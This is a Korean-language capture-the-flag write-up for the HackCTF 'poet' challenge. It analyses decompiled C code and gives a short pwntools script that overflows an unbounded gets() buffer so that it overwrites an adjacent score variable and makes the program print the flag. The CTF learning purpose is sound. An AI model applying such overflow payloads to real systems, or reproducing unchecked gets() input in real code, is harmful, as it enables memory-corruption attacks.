본문 바로가기

Pwnable/HackCTF

[ProjectH4C] HackCTF (poet)

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi

  setvbuf(_bss_start, 0LL, 2, 0LL);
  v3 = s;
  puts(s);
  while ( 1 )
  {
    get_poem(v3, 0LL);
    get_author(v3);
    rate_poem(v3);
    if ( dword_6024E0 == 1000000 )
      break;
    v3 = asc_400D78;
    puts(asc_400D78);
  }
  reward(v3);
}

 

__int64 get_poem()
{
  __int64 result; // rax

  printf("Enter :\n> ");
  result = gets(poem);
  dword_6024E0 = 0;
  return result;
}

 

__int64 get_author()
{
  printf(&byte_400C38);
  return gets(&unk_6024A0);
}

 

int rate_poem()
{
  char dest; // [rsp+0h] [rbp-410h]
  char *s1; // [rsp+408h] [rbp-8h]

  strcpy(&dest, poem);
  for ( s1 = strtok(&dest, " \n"); s1; s1 = strtok(0LL, " \n") )
  {
    if ( !strcmp(s1, "ESPR")
      || !strcmp(s1, "eat")
      || !strcmp(s1, "sleep")
      || !strcmp(s1, "pwn")
      || !strcmp(s1, "repeat")
      || !strcmp(s1, "CTF")
      || !strcmp(s1, "capture")
      || !strcmp(s1, "flag") )
    {
      dword_6024E0 += 100;
    }
  }
  return printf(asc_400BC0, poem, (unsigned int)dword_6024E0);
}

 

void __noreturn reward()
{
  char s; // [rsp+0h] [rbp-90h]
  FILE *stream; // [rsp+88h] [rbp-8h]

  stream = fopen("./flag.txt", "r");
  fgets(&s, 128, stream);
  printf(format, &unk_6024A0, &s);
  exit(0);
}

이런 저런 함수가 많이 있지만, 먼저 main 함수를 보면 dword_6024E0이라는 변수가 1000000이여야 무한루프를 탈출하고 reward 함수를 호출한다. reward 함수에서는 flag의 내용을 출력해준다.

dword_6024E0이 무엇을 뜻하는지 부터 확인해보도록 한다.

 

dword_6024E0이 eax이며, 100이 저장되어 있다. rate poem 함수를 보면 입력한 문자열이 ESPR, eat, sleep, pwn, repeat, CTF, capture, flag일 경우 100을 더해주는데, gdb를 실행할 때 flag를 입력해서 100이 저장되어 있는 것이다. 해당 값이 100만이면 flag를 출력해준다는 말이다. flag를 10000번 입력할 수는 없으니 다른 방법을 찾아보았다.

 

get_author에서 gets로 입력받는 곳이 6024A0인데, 6024E0과 0x40만큼 차이나기 때문에, 저자를 입력할 때 더미 64바이트 + 1000000을 입력하면 되지 않을까 싶어서 페이로드를 작성해보았다.

 

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3012)

payload = '\x90' * 64
payload += p64(1000000)
r.recvuntil('> ')
r.sendline('1')
r.recvuntil('> ')
r.sendline(payload)

r.interactive()

 

 

성공!

'Pwnable > HackCTF' 카테고리의 다른 글

[ProjectH4C] HackCTF (1996)  (0) 2020.09.27
[ProjectH4C] HackCTF (g++ pwn)  (0) 2020.09.27
[ProjectH4C] HackCTF (RTL_World)  (0) 2020.09.27
[ProjectH4C] HackCTF (BOF_PIE)  (0) 2020.09.18
[ProjectH4C] HackCTF (Offset)  (0) 2020.09.18